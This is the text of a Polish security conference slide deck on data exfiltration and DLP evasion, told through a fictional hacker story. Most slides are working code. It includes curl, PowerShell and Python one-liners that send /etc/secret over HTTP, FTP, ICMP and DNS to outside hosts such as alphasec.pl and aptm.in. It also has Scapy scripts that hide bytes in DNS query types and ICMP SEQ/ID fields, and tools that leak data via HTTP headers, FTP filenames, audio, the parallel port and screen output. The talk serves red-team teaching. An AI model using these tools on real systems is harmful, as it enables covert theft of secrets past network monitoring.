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Eksfiltracja: Level Hard
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Poprzednio..

aptm.in/darkseeker

https://aptm.in/darkseeker


Cel: Międzynarodowa Agencja Odbudowy
<Ruda> To jaki masz plan braciszku?

<DarkSeeker> Wykradniemy MAO wszystkie 
utajnione dokumenty, a potem je upublicznimy.  

<Ruda> Tylko wiesz, że po ostatnich akcjach oni 
ostro monitorują sieć?

<DarkSeeker> Ty w międzyczasie przygotuj 
wszystko na wielki finał.
<Ruda> Jasne. Powodzenia!

<DarkSeeker> HTTPS, ICMP, DNS - któryś kanał 
eksfiltracji na pewno przejdzie.
<Ruda> No nie wiem.. Ale jeśli tak uważasz.. 
Działaj.

<DarkSeeker> Tobie też.



Piramida ruchu danych z punktu widzenia Pawła cybersecurity

Legalne dane

Infiltracja 
Eksfiltracja

Komunikacja  
C2

Tunelowanie  
protokołów

Tunelowanie 
TCP/IP

1. Legalne dane 
Odbieranie/wysyłanie firmowej poczty, 
drukowanie dokumentów na drukarce, 
przeglądanie Facebooka do kawki 

2. Infiltracja / eksfiltracja 
Wyprowadzanie danych z firmy, omijanie 
systemów DLP. Pobieranie złośliwego  
oprogramowania, omijanie systemów IPS, AV 

3. Komunikacja C2 
Zestawienie dwustronnej komunikacji 
Command and Control w celu pełnego 
przejęcia zdalnego komputera

4. Tunelowanie protokołów 
Tunelowanie HTTP/HTTPS z wykorzystaniem 
HTTP Proxy, HTTP/HTTPS po ssh (ssh -D)

5. Tunelowanie TCP/IP 
Tunelowanie pełnego ruchu TCP/IP w kanale 
nie przeznaczonym do tego

Trywialne

Wymagające



A kim w ogóle jest Paweł?

Paweł Maziarz
p@alphasec.pl

alphasec.pl
aptm.in/h

mailto:p@alphasec.pl
alphasec.pl?dss
aptm.in/h?dss


Uniwersalny listener TCP

socat -u -T 7 TCP-LISTEN:2048,fork,reuseaddr SYSTEM:'cat > loots/tcp/$SOCAT_PEERADDR.$$.txt' 

-u - tryb jednokierunkowy - pierwszy adres tylko do odczytu, drugi do zapisu 

-T 7 - zakończ po 7 sekundach bezczynności
TCP-LISTEN:2048 - słuchaj na 2048 porcie TCP

fork - każde połączenie obsłuż w nowym podprocesie
reuseaddr - pozwól innym gniazdom na zbindowanie się 

SYSTEM - uruchom polecenie systemowe
cat > ... - zapisz to co na wejściu do wskazanego pliku 
$SOCAT_PEERADDR - adres połączenia przychodzącego
$$ - PID aktualnego procesu

aptm.in/protip/001b

https://aptm.in/protip/001b


HTTP/HTTPS

Invoke-RestMethod -Method Post -InFile "/etc/secret"  -Uri "http://localhost:2048"

aptm.in/protip/001a

irm -me po -i /etc/secret http://localhost:2048

curl -T /etc/secret http://localhost:2048

curl -F "f=@/etc/secret" http://localhost:2048

import requests; requests.post("http://127.0.0.1:2048", files={"f": open("/etc/secret", "rb")})

https://aptm.in/protip/001a


Listener FTP z anonimowym dostępem

aptm.in/protip/0038

python -m pyftpdlib -p 2121 -w

https://aptm.in/protip/0038


Eksfiltracja FTP

[Net.WebClient]::New().UploadFile("ftp://localhost:2121/secret", (gi "/etc/secret"))

curl -T /etc/secret ftp://localhost:2121

from ftplib import FTP; ftp=FTP(); ftp.connect("127.0.0.1", 2121); ftp.login(); 
ftp.storbinary("STOR secret", open("/etc/secret", "rb")); ftp.quit()



Eksfiltracja ICMP

https://www.rfc-editor.org/rfc/rfc792

https://www.rfc-editor.org/rfc/rfc792


Listener ICMP

aptm.in/protip/000f

python -c 'from scapy.all import *; sniff(filter="icmp and icmp[0]=8", 
prn=(lambda x: print(x[1].src, x[ICMP].load) if hasattr(x[ICMP], "load") else 
None ))'

& "C:\Program Files\Wireshark\tshark.exe" -i Wi-Fi -l -T fields -e data "icmp[0]=8" | 
% { -join ($_ -split "(.{2})" -match "." | % { [char][byte]"0x$_"}) }

aptm.in/protip/0076

https://aptm.in/protip/000f
https://aptm.in/protip/0076


Eksfiltracja ICMP 

(gc c:\secret.txt -Raw) -split "(?s)(.{1472})" -match "."|%
{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 300, 
([Text.Encoding]::UTF8).GetBytes($_))}

hping3 --icmp -d 1000 aptm.in --file /etc/secret 



UDP? ICMP? DNS? Uniwersalny listener TCP/IP

-i any - wszystkie interfejsy sieciowe

-s 0 - nie przycinaj pakietów za bardzo *
-w dump.pcap - zapisz ruch do wskazanego pliku

-D - wyświetl listę dostępnych interfejsów

tcpdump -i any -s 0 -w dump.pcap

tshark  -i any -w dump.pcap

* https://github.com/the-tcpdump-group/tcpdump/blob/master/netdissect.h 

https://github.com/the-tcpdump-group/tcpdump/blob/master/netdissect.h


Eksfiltracja DNS

 (-join ((gc -raw c:\secret.txt).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" 
-match "." -replace  "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i+
+)).aptmc.pl"}

aptm.in/protip/000d

alphasec.pl/confi23

https://aptm.in/protip/000d
https://alphasec.pl/confi23


Kobieca intuicja..
<DarkSeeker> Wszystkie moje kanały eksfiltracji 
praktycznie od razu wycinali.

<Ruda> No.

<DarkSeeker> No to może masz jakiś plan, 
siostrzyczko?
<Ruda> Owszem. Póki co odpocznij, a na 
dobranoc włącz sobie tego VHSa. Może i ciebie 
zainspiruje. 

<DarkSeeker> Nie wyglądasz na zaskoczoną..

<Ruda> To ci chciałam powiedzieć. Oni naprawdę 
nie są głupi.

<DarkSeeker> UuuUu, a co to za aktorka??



Uniwersalny listener TCP



Postapokaliptyczni hakerzy - łączcie się

Glitcher

Nexa

Hackie

Iron RootSpectra XSmile Pirate

Bit Reaver Venix



Glitcher - "Łowca Cieni"

Glitcher to były agent wywiadu, który 
wykorzystał swoje umiejętności, aby po 
apokalipsie stworzyć sieć informacyjną. 
Jest skrytym strategiem, mającym 
zawsze kilka planów w zanadrzu. 
Współpracuje z Venix i Spectrą X, choć 
ich relacje są bardziej zawodowe niż 
osobiste. Zna sekrety każdego w grupie, 
ale rzadko dzieli się swoimi. Kiedy ktoś 
zachodzi mu głęboko za skórę, odkłada 
komputer i sięga po inne środki 
perswazji.



HTTP listener 

<?php 

$header = 'HTTP_X_REQUEST_ID'; 

if (isset($_SERVER[$header])) { 
    error_log(sprintf('[PAYLOAD/%s]: %s', $_SERVER['REMOTE_ADDR'], $_SERVER[$header])); 
} 

?> 



HTTP/HTTPS - nagłówki

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes((gc -raw /etc/secret))) 
-split "(.{64})" -match "."|%{ irm http://localhost:2048/status -Headers @{"X-
Request-ID"=$_} }



HTTP WebSocket 

https://velog.io/@chancehee/Network-%EC%9B%B9-%EC%86%8C%EC%BC%93 

https://velog.io/@chancehee/Network-%EC%9B%B9-%EC%86%8C%EC%BC%93


HTTP WebSocket listener 

const WebSocket = require('ws'); 
const wss = new WebSocket.Server({ port: 8080 }); 

wss.on('connection', (ws) => { 
    console.log('New connection'); 

    ws.on('message', (message) => { 
        console.log(`Got: ${message}`); 
    }); 

    ws.on('close', () => { 
        console.log('Connection closed'); 
    }); 
}); 

console.log('Listening on 8080');



HTTP/HTTPS - WebSockety
Function Invoke-ExfilWebSocket { 
    Param( 
        [Parameter(Mandatory)] 
        $uri, 
        [Parameter(Mandatory, ValueFromPipeline)] 
        $message 
    ) 

    begin { 
        $client = [Net.WebSockets.ClientWebSocket]::new() 

        try { 
            $client.ConnectAsync($uri, [Threading.CancellationToken]::None).Wait() 
        } 
        catch { 
            Write-Error "Error1: $_" 
            return 
        } 
    } 

    process { 
        $buffer = [Text.Encoding]::UTF8.GetBytes($message) 
        $segment = [ArraySegment[byte]]::new($buffer) 

        try { 
            $client.SendAsync($segment, [Net.WebSockets.WebSocketMessageType]::Text, $true, [Threading.CancellationToken]::None).Wait() 
        } 
        catch { 
            Write-Error "Error2: $_" 
        } 
    } 

    end { 
        try { 
            $client.CloseAsync([Net.WebSockets.WebSocketCloseStatus]::NormalClosure, "Bye", [Threading.CancellationToken]::None).Wait() 
        } 
        catch { 
            Write-Error "Error3: $_" 
        } 

    } 
}



HTTP/HTTPS - WebSockety



Hackie - "Dziecko Kodu"
Hackie jest sierotą, która dorastała 
w  ruinach miasta. Znaleziono ją jako 
niemowlę w opuszczonym centrum 
danych, otoczoną działającymi ekranami 
pełnymi linijek kodu. Niewiarygodnie 
szybko nauczyła się programować, choć 
nikt nie wie, kto był jej nauczycielem, Bit 
Reaver uważa, że był to asystent AI 
twórców AI_Devs 9. Uważa komputery za 
swoich „przyjaciół” i łatwo je hakuje, 
wykorzystując swoją intuicję i dziecięcą 
ciekawość. Jest blisko związana z Nexą, 
która opiekuje się nią jak starsza siostra.



DNS - o jakie typy rekordów można pytać?
from scapy.layers.dns import dnstypes 

dns_records = list(dnstypes.items()) 

record_width = 20 
columns = 4 

for i in range(0, len(dns_records), columns): 
    group = dns_records[i:i+columns] 
    print("   ".join([f"{qtype}: {number}".ljust(record_width) for qtype, number in group]))



DNS - eksfiltracja polem typ

import argparse 
from scapy.all import * 

def exfil_dns_type(file, ns, domain, base_type): 
    try: 
        with open (file, "rb") as f: 
            data = f.read() 
            for byte in data: 
                type = base_type + byte 
                dns_query = IP(dst=ns) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=domain, qtype=type)) 
                print(f"sending query type {type} to {ns} for domain {domain}") 
                response = sr1(dns_query, verbose=0) 
    except Exception as e: 
        print(f"Open error: {e}") 

def main(): 
    parser = argparse.ArgumentParser() 
    parser.add_argument("-f", "--file", required=True, help="File to exfil") 
    parser.add_argument("-n", "--nameserver", help="Nameserver to query", default="8.8.8.8") 
    parser.add_argument("-d", "--domain", help="Domain to query", default="aptmc.pl") 
    parser.add_argument("-b", "--base_type", help="Base type (int)", default=1000, type=int) 

    args = parser.parse_args() 

    exfil_dns_type(args.file, args.nameserver, args.domain, args.base_type) 

if __name__ == "__main__": 
    main()



Bit Reaver – "Techniczny Szaman"
Bit Reaver wierzy, że technologia ma 
duszę. Został hakerem z potrzeby 
zrozumienia „duchów maszyn”. Wierzy, że 
sieć postapokaliptyczna jest świadoma, a 
on jest jej wybranym medium. Dzięki 
unikalnemu podejściu do technologii 
odkrywa tajemnice, których inni nie 
dostrzegają. W wizjach często nawiedza 
go haker z przeszłości o pseudonimie GT, 
który wyjawia mu tajemnice internalsów 
Windowsa. Smiley Pirate jest jego 
przyjacielem, ale również konkurentem w 
pozyskiwaniu rzadkich danych.



ICMP - jak eksfiltrować inaczej?

https://www.rfc-editor.org/rfc/rfc792

https://www.rfc-editor.org/rfc/rfc792


ICMP - eksfiltracja w polach SEQ/ID
import argparse 
from scapy.all import * 

def exfil_icmp_adv(file, address, timeout, seq, id): 
    try: 
        with open (file, "rb") as f: 
            data = f.read() 
            for byte in data: 
                icmp_pkt = ICMP() 
                if seq: 
                    icmp_pkt.seq = byte 
                if id: 
                    icmp_pkt.id = byte 
                print(f"Sending ping to {address} with seq={icmp_pkt.seq} id={icmp_pkt.id} timeout={timeout}") 
                sr1(IP(dst=address)/icmp_pkt, verbose=0, timeout=timeout/1000) 
    except Exception as e: 
        print(f"Open error: {e}") 

def main(): 
    parser = argparse.ArgumentParser() 
    parser.add_argument("-f", "--file", required=True, help="File to exfil") 
    parser.add_argument("-a", "--address", help="Host/address to ping", required=True) 
    parser.add_argument("--seq", action="store_true", help="Use SEQ type for ICMP") 
    parser.add_argument("--id", action="store_true", help="Use ID type for ICMP") 
    parser.add_argument("-t", "--timeout", help="Timeout (miliseconds)", type=int, default=100) 

    args = parser.parse_args() 

    if (not args.seq and not args.id): 
        print("Error: please select --seq or/and --id") 
        return 

    exfil_icmp_adv(args.file, args.address, args.timeout, args.seq, args.id) 

if __name__ == "__main__": 
    main()



Venix – "Cicha Strażniczka"
Venix była dawniej ważną członkinią 
grupy Hack Una Ma Tata, która 
przyczyniła się do upadku świata. Po 
katastrofie postanowiła odkupić swoje 
winy, ratując tych, którzy w sieci szukają 
pomocy. Ma cybernetyczne implanty, 
które pomagają jej w pracy, ale również 
przypominają o przeszłości. Jest 
mentorką dla Nexy i Hackie, widząc w 
nich nadzieję na lepsze jutro. Jako 
nieliczna jest wyjątkową kocicą w 
uratowanych technologiach od Apple, 
niczym Wojtek Reguła.



Eksfiltracja FTP - jakie komendy FTP?

https://en.wikipedia.org/wiki/List_of_FTP_commands 

https://en.wikipedia.org/wiki/List_of_FTP_commands


FTP listener - polecenie SIZE

#!/usr/bin/env python 
from pyftpdlib.handlers import FTPHandler 
from pyftpdlib.servers import FTPServer 
from pyftpdlib.authorizers import DummyAuthorizer 

class MyHandler(FTPHandler): 
    def ftp_SIZE(self, file): 
        arr = file.split("/test_") 
        if (len(arr) == 2): 
            print(arr[1]) 
        self.respond('550 hpsz') 

def main(): 
    authorizer = DummyAuthorizer() 
    authorizer.add_anonymous(homedir='.') 

    handler = MyHandler 
    handler.authorizer = authorizer 
    server = FTPServer(('', 2121), handler) 
    server.serve_forever() 

if __name__ == "__main__": 
    main()



FTP eksfiltracja nazwą pliku

for a in $(cat /etc/secret|openssl base64); do curl -s ftp://localhost:2121/test_$a -O /dev/null; done



Nexa – "Kodująca Buntowniczka"
N e x a u ro d z i ła s ię w św i e c i e p o 
apokalipsie i dorastała, ucząc się sztuki 
przetrwania od Iron Roota. Z czasem 
odkryła swój talent do hakowania i 
zaczęła działać jako swoisty cyber-łowca 
nagród, wyszukując dane o przeszłości i 
sprzedając je najwyżej licytującym. Choć 
stara się być samodzielna, podświadomie 
szuka wsparcia u Venix, której zaufanie 
trudno zdobyć. Opiekuje się Hackie, 
traktując ją jak młodszą siostrę. Kocha 
muzykę, w której znajduje ukojenie.



Eksfiltracja alfabetem Morse-a

Function Out-Morse { 
   Param( 
        [Parameter(Mandatory, ValueFromPipeline)] 
        $message, 
        $tone = 1337, 
        $duration = 80 
    ) 

$morseAlphabet = @{"A" = ".-"; "B" = "-..."; "C" = "-.-."; "D" = "-.."; "E" = "."; "F" 
= "..-."; "G" = "--."; "H" = "...."; "I" = ".."; "J" = ".---"; "K" = "-.-"; "L" = 
".-.."; "M" = "--"; "N" = "-."; "O" = "---"; "P" = ".--."; "Q" = "--.-"; "R" = ".-."; 
"S" = "..."; "T" = "-"; "U" = "..-"; "V" = "...-"; "W" = ".--"; "X" = "-..-"; "Y" = 
"-.--"; "Z" = "--.."; "0" = "-----"; "1" = ".----"; "2" = "..---"; "3" = "...--"; "4" = 
"....-"; "5" = "....."; "6" = "-...."; "7" = "--..."; "8" = "---.."; "9" = "----." } 

    $message -split "" | % { 
    $code = $morseAlphabet[$_.ToUpper()] 
    $code 
      $code -split "" | % {  
        if ($_ -eq '.') {   [console]::beep($tone, $duration)    } 
        elseif ($_ -eq '-') {   [console]::beep($tone, $duration*3)   } 
        else {    Start-Sleep -Milliseconds ($duration*3)     } 
      } 
   } 
}



Eksfiltracja alfabetem Morse-a
#!/bin/bash 

to_morse_char() { case "$1" in [Aa]) echo ".-";; [Bb]) echo "-...";; [Cc]) echo "-.-.";; [Dd]) echo "-..";; [Ee]) echo ".";; [Ff]) echo "..-.";; [Gg]) echo "--.";; [Hh]) echo "....";; [Ii]) echo "..";; [Jj]) 
echo ".---";; [Kk]) echo "-.-";; [Ll]) echo ".-..";; [Mm]) echo "--";; [Nn]) echo "-.";; [Oo]) echo "---";; [Pp]) echo ".--.";; [Qq]) echo "--.-";; [Rr]) echo ".-.";; [Ss]) echo "...";; [Tt]) echo "-";; [Uu]) 
echo "..-";; [Vv]) echo "...-";; [Ww]) echo ".--";; [Xx]) echo "-..-";; [Yy]) echo "-.--";; [Zz]) echo "--..";; 1) echo ".----";; 2) echo "..---";; 3) echo "...--";; 4) echo "....-";; 5) echo ".....";; 6) echo 
"-....";; 7) echo "--...";; 8) echo "---..";; 9) echo "----.";; 0) echo "-----";; " ") echo "/";; *) echo "";; esac; } 

to_morse() { 
    local input="$1" 
    local output="" 

    for (( i=0; i<${#input}; i++ )); do 
        char="${input:$i:1}" 
        morse_char=$(to_morse_char "$char") 
        if [[ -n "$morse_char" ]]; then 
            output+="$morse_char " 
        fi 
    done 

    echo "$output" 
} 

play_morse() { 
    local morse="$1" 
    local frequency="$2" 

    dot=0.1 
    dash=0.3 
    char_delay=0.1 
    word_delay=0.7 

    for (( i=0; i<${#morse}; i++ )); do 
        char="${morse:$i:1}" 
        case "$char" in 
            ".") play -n synth $dot sine "$frequency" >/dev/null 2>&1 ;;   
            "-") play -n synth $dash sine "$frequency" >/dev/null 2>&1 ;;  
            " ") sleep $char_delay ;; 
            "/") sleep  $word_delay;; 
        esac 
    done 
} 

if [[ $# -lt 1 ]]; then 
    echo "Użycie: $0 <message> <tone>" 
    echo "Przykład: $0 'Hello World' 100 440" 
    exit 1 
fi 

text="$1" 
frequency="${2:-440}"   

morse=$(to_morse "$text") 
echo "Tekst: $text" 
echo "Morse: $morse" 
echo "Odtwarzam Morse'a częstotliwością: $frequency Hz..." 
play_morse "$morse" "$frequency"



Eksfiltracja w stylu R2D2

filter Out-R2D2 { $_.ToCharArray() | % { [console]::beep(1000+([int][char]$_*20), 100) } }

Get-Content -Raw c:\secret | Out-R2D2

while read -n1 c; do play -n synth 0.05 sine $((($(printf "%d" "'$c")*20)+3137 
)); done  < /etc/secret



Smiley Pirate – "Władca Sygnałów"
Smiley Pirate to haker-najemnik, który 
specjalizuje się w przechwytywaniu 
transmisji radiowych i satelitarnych. Jego 
p s e u d o n i m p o c h o d z i o d 
charakterystycznego symbolu uśmiechu, 
który pozostawia w systemach, które 
zhakował. Ma sarkastyczne poczucie 
humoru i skłonność do ryzyka, co 
czasem wpędza go w kłopoty. Często 
działa jako łącznik między Glitcherem a 
resztą grupy. W wolnych chwilach pracuje 
nad reaktywacją przedapokaliptycznego 
magazynu "Paged Out!".



Jak zmieścić więcej danych w audio?



Jak zmieścić więcej danych w audio?

https://pl.wikipedia.org/wiki/Modulacja



Kluczowanie AFSK

import argparse 
from afskmodem.afskmodem import Transmitter 

def exfil_afsk(file, baud, outputfile): 
    try: 
        with open (file, "rb") as f: 
            data = f.read() 
            transmitter = Transmitter(baud) 
            if outputfile: 
                transmitter.save(data, outputfile) 
            else: 
                transmitter.transmit(data) 
    except Exception as e: 
        print(f"Open error: {e}") 

def main(): 
    parser = argparse.ArgumentParser() 
    parser.add_argument("-f", "--file", required=True, help="File to exfil") 
    parser.add_argument("-b", "--baud", help="Speed", default=1200, type=int) 
    parser.add_argument("-o", "--outputfile", help="Output file") 

    args = parser.parse_args() 

    exfil_afsk(args.file, args.baud, args.outputfile) 

if __name__ == "__main__": 
    main() 



Spectra X – "Upadła Ikona"

Spectra X była legendą wśród hakerów 
już przed apokalipsą, słynącą z włamań 
do najpilniej strzeżonych systemów na 
świecie. Po katastrofie straciła rodzinę i 
stała się samotniczką, ale wciąż krąży po 
sieci, zostawiając po sobie ślady jak 
duch. Szczególnie dobrze czuje się 
hakując systemy OT, pogłoski chodzą, 
że ma to po mamie, podobnie jak tatuaż z 
sekwencją DNA. Pracuje dla Glitchera, 
który czasami zleca jej wyciąganie 
danych z przeszłości w zamian za dostęp 
do technologii sprzed apokalipsy. 



Local/Line Print Terminal



Local/Line Print Terminal



Eksfiltracja portem równoległym

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sys/io.h> 

#define LPT_PORT 0x378  

void exfil_lpt(const char *file_path) { 
    FILE *file = fopen(file_path, "rb");  
    if (file == NULL) { 
        perror("Error opening file"); 
        return; 
    } 

    unsigned char byte; 
    while (fread(&byte, sizeof(byte), 1, file)) { 
        outb(byte, LPT_PORT); 
        printf("Sent byte: 0x%02X\n", byte); 
    } 

    fclose(file); 
    printf("File sent successfully.\n"); 
} 

int main(int argc, char **argv) { 
    if (ioperm(LPT_PORT, 1, 1)) {   
        perror("ioperm"); 
        exit(1); 
    } 

    exfil_lpt(argv[1]); 

    if (ioperm(LPT_PORT, 1, 0)) { 
        perror("ioperm"); 
        exit(1); 
    } 

    return 0; 
}



Local/Line Print Terminal



Eksfiltracja video



Eksfiltracja video

#!/bin/bash 

if [ $# -ne 1 ]; then 
  echo "Użycie: $0 <nazwa_pliku>" 
  exit 1 
fi 

file=$1 

if [ ! -f "$file" ]; then 
  echo "file '$file' nie istnieje." 
  exit 1 
fi 

base64_output=$(openssl base64 -A -in "$file") 

lines=$(tput lines) 
columns=$(tput cols) 

chunk_size=$((columns * lines )) 
length=${#base64_output} 
start=0 

while [ $start -lt $length ]; do 
  clear 
  /bin/echo -n "${base64_output:$start:$chunk_size}" 
  start=$((start + chunk_size)) 
  sleep 0.3 
done



Spotkanie z dwoma idolami
<DarkSeeker> Słyszałem, że macie dość MAO.

<Adam Hantle> Wszyscy mają dość MAO.

<Ruda> Tak, ale potrzebujemy kogoś wewnątrz. 
<Adam Sztange> Jak możemy pomóc?

<DarkSeeker> A jednak ciągle dla nich podcast 
prowadzicie.
<Adam Sztange> To dość skomplikowane.

Adam SztangeAdam Hantle

<Adam Hantle> Ponoć pojawiła się przestrzeń na 
- nazwijmy to - początek końca MAO.

<DarkSeeker> W tym plecaku jest trochę dysków 
SCSI, USB, płyt CD, kaset. Powkładajcie to 
wszędzie gdzie możecie.
<Ruda> ..a Magia się zadzieje.

Rozmowa Trolowana



Iron Root – "Strażnik Wiedzy"
Iron Root jest najstarszym członkiem 
grupy, który pamięta świat sprzed 
katastrofy. Kiedyś opiekował się 
Wro c ła w s k i m C e n t r u m S i e c i o wo -
Superkomputerowym na Politechnice 
Wrocławskiej, później pochłonął się w 
pełni tematom Cyber Threat Intelligence, 
by utrudniać życie cyberprzestępcom 
pod pseudonimem IR3k. Choć jego ciało 
jest słabe, jego umysł wciąż jest ostry. 
Jest mentorem dla Nexy i Hackie, a Venix 
uważa go za jedynego równego sobie w 
grupie.



CapsLock i koledzy



CapsLock i koledzy



Nowy początek

<DarkSeeker> No cóż. Jednak warto czasem 
poprosić o pomoc.

<Ruda> Do wszystkiego trzeba dojrzeć.

<DarkSeeker> Nie patrz tak na mnie. Jak chcesz, 
to sama się w to baw.
<Ruda> Zasiądziesz chociaż w Nowej Radzie?

<DarkSeeker> Co dalej?
<Ruda> Świat będzie potrzebował nowego lidera.

<Ruda> Ekipa się spisała! Mamy wszystko!

<Ruda> MAO już się z tego nie otrząśnie.

<DarkSeeker> Dzięki, postoję. Ale będę miał was 
na oku, siostrzyczko..
<Ruda> Liczę na to.



Paweł Maziarz
p@alphasec.pl

alphasec.pl
aptm.in/h

twitter.com/pawelmaziarz
linkedin.com/in/pawelmaziarz/

alphasec.pl/omh24 

Dzięki za spotkanie!
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